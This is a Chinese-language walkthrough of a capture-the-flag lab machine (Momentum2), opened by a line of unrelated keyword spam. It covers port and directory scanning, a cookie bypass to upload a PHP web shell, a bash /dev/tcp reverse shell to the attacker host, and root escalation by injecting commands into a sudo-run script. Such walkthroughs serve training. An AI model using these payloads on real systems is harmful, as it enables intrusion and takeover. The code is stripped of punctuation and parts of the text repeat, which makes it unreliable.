怎样申请建立自助网站,青岛网站建设企业建站,英文 网站 源码,wordpress找不到页面文章目录 一、靶场搭建1. 靶场描述2. 下载靶机环境3. 靶场搭建 二、渗透靶场1. 确定靶机IP2. 探测靶场开放端口及对应服务3. 扫描网络目录结构4. 代码审计5. 反弹shell6. 提权 一、靶场搭建
1. 靶场描述
- Difficulty : medium
- Keywords : curl, bash, code reviewThis wor… 文章目录 一、靶场搭建1. 靶场描述2. 下载靶机环境3. 靶场搭建 二、渗透靶场1. 确定靶机IP2. 探测靶场开放端口及对应服务3. 扫描网络目录结构4. 代码审计5. 反弹shell6. 提权 一、靶场搭建
1. 靶场描述
- Difficulty : medium
- Keywords : curl, bash, code reviewThis works better with VirtualBox rather than VMware中等难度的靶场提示了渗透靶场的关键为curl和代码审计。 2. 下载靶机环境
靶场源地址点击跳转点击图中标注处下载靶场源文件。 下载完成的文件如下 一般从网上下载的文件可以使用检验下载文件的检验码防止下载的文件被篡改或者部分缺失. # windwos 命令
Get-FileHash filePath -Algorithm MD5
# linux
md5sum filepath
3. 靶场搭建 使用VMware打开对应的ova文件创建虚拟机。创建完虚拟机之后修改对应虚拟机的网络模式为NAT模式然后点击启动就行。 如果你使用vmware启动靶机之后发现靶机没有自动分配ip可以参考这个文章进行解决。 解决虚拟机未被自动分配ip 二、渗透靶场
1. 确定靶机IP
确定靶机IP的步骤
通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。nmap显示出存活主机之后根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24通过排除网关、kali虚拟机、物理主机ip之后确定靶机IP为192.168.37.132. 2. 探测靶场开放端口及对应服务 探测端口开放和对应开放端口服务识别一般使用nmap进行因为nmap指纹识别比较准确并且指纹库也比较全。 # 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.132结果图: 可以确认主机开放了80和22端口分别对应http服务和ssh服务使用浏览器访问http服务。发现首页是几张非常漂亮的图片。 3. 扫描网络目录结构 通过dirsearch扫描对应网站的目录结构看是否能在其中找到什么敏感文件或目录。这次使用了默认字典和指定字典进行扫描. # 指定字典
sudo dirsearch -u 192.168.37.132 -x 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# 默认字典扫描
sudo dirsearch -u 192.168.37.132 -x 404指定字典的扫描结果
默认字典的结果 从目录扫描结果发现了一个dashboard.html存在文件上传功能并且从页面提示信息来看上传的文件会保存在owls目录下经过上传一个txt进行验证确实如此但并不支持直接上传php文件以及ptml文件推测代码进行了上传文件类型限制。 4. 代码审计 首先查看前端上传文件代码看是否是前端做了限制。具体上传文件逻辑代码存放在js/main.js中分析过后并不是前端代码做的限制同时也知道上传文件对应的api接口为ajax.php。 要想上传php文件现在需要知道后台具体的代码逻辑然后尝试进行限制绕过。在找寻上传文件代码内容时发现ajax.php.bak文件应该是ajax.php的备份文件。通过wget将文件下载,分析对应代码逻辑发现请求中包含指定cookie键值对和secure参数就能上传php文件了同时代码中提示实际cookie这个文件中指定字符串多一位大写字符串在末尾。接下来进行暴力进行尝试就行。 //ajax.php备份文件内容//The boss told me to add one more Upper Case letter at the end of the cookieif(isset($_COOKIE[admin]) $_COOKIE[admin] G6uB6uDXMqMs){//[] Add if $_POST[secure] val1d$valid_ext array(pdf,php,txt);}else{$valid_ext array(txt);}// Remember success upload returns 1 多次尝试之后发现cookie末尾是添加了R大写字符,通过如下curl命令成功将php恶意文件上传。 curl -X POST http://192.168.37.132/ajax.php -F file/opt/baji/momentum2/test.php -H Cookie:adminG6uB6uDXMqMsR -F secureval1d//test.php内容
?php
echo $_GET[cmd];
system($_GET[cmd]);
?5. 反弹shell 将指定恶意php代码上传到靶机之后利用代码进行反弹shell。反弹shell利用的bash命令如下将这个命令通过参数传递时需要使用urlencode进行编码。可以参考下面我给出的python代码。 # 反弹shell命令
/bin/bash -c bash -i /dev/tcp/$TARGET_IP/$TARGET_PORT 01# kali攻击机监听反弹shell
nc -lvp $TARGET_PORTimport urllib.parse
import sys
import file_utildef urlencode_string(content):url编码:param content::return:if content:return urllib.parse.quote(content, safe)def urldecode_string(content):url编码还原:param content::return:if content:return urllib.parse.unquote(content)if __name__ __main__:if len(sys.argv) ! 2:print(Usage: python *.py filepath)sys.exit(0)file_path sys.argv[1]content file_util.get_file_content(file_path)if not content:print(file dont have content)sys.exit(0)print(urlencode_string(content)) 参数进行编码之后kali开启监听浏览器发起请求成功获取反弹shell。 6. 提权 获取到用户shell之后在athena家目录下发现了他的的密码和user的flag。使用password-reminder.txt中进行登录时发现密码错误后面才知道[Asterisk]代表 * 号(英文名)。对应密码为myvulnerableapp* 进行ssh登录。 获取到athena的用户权限之后使用sudo -l命令发现当前用户可以无密码以root身份执行python代码。分析代码逻辑最后会将用户输入的字符串通过cmd执行利用这点执行的时候传入一个恶意的字符串这种场景下你提权可以采用思路:反弹shell/bin/bash增加suid位 更改root用户密码等等。 下面是两种比较容易利用方式.提权之后获取到root身份以及root目录下的flag。 # 1. 反弹shell,kali攻击机监听
1; bash -c bash -i /dev/tcp/192.168.37.22/8888 01; echo 1
# 2. 给/bin/bash添加 suid位, 执行完成之后使用 /bin/bash -p 获取
1; chmod s /bin/bash; echo 1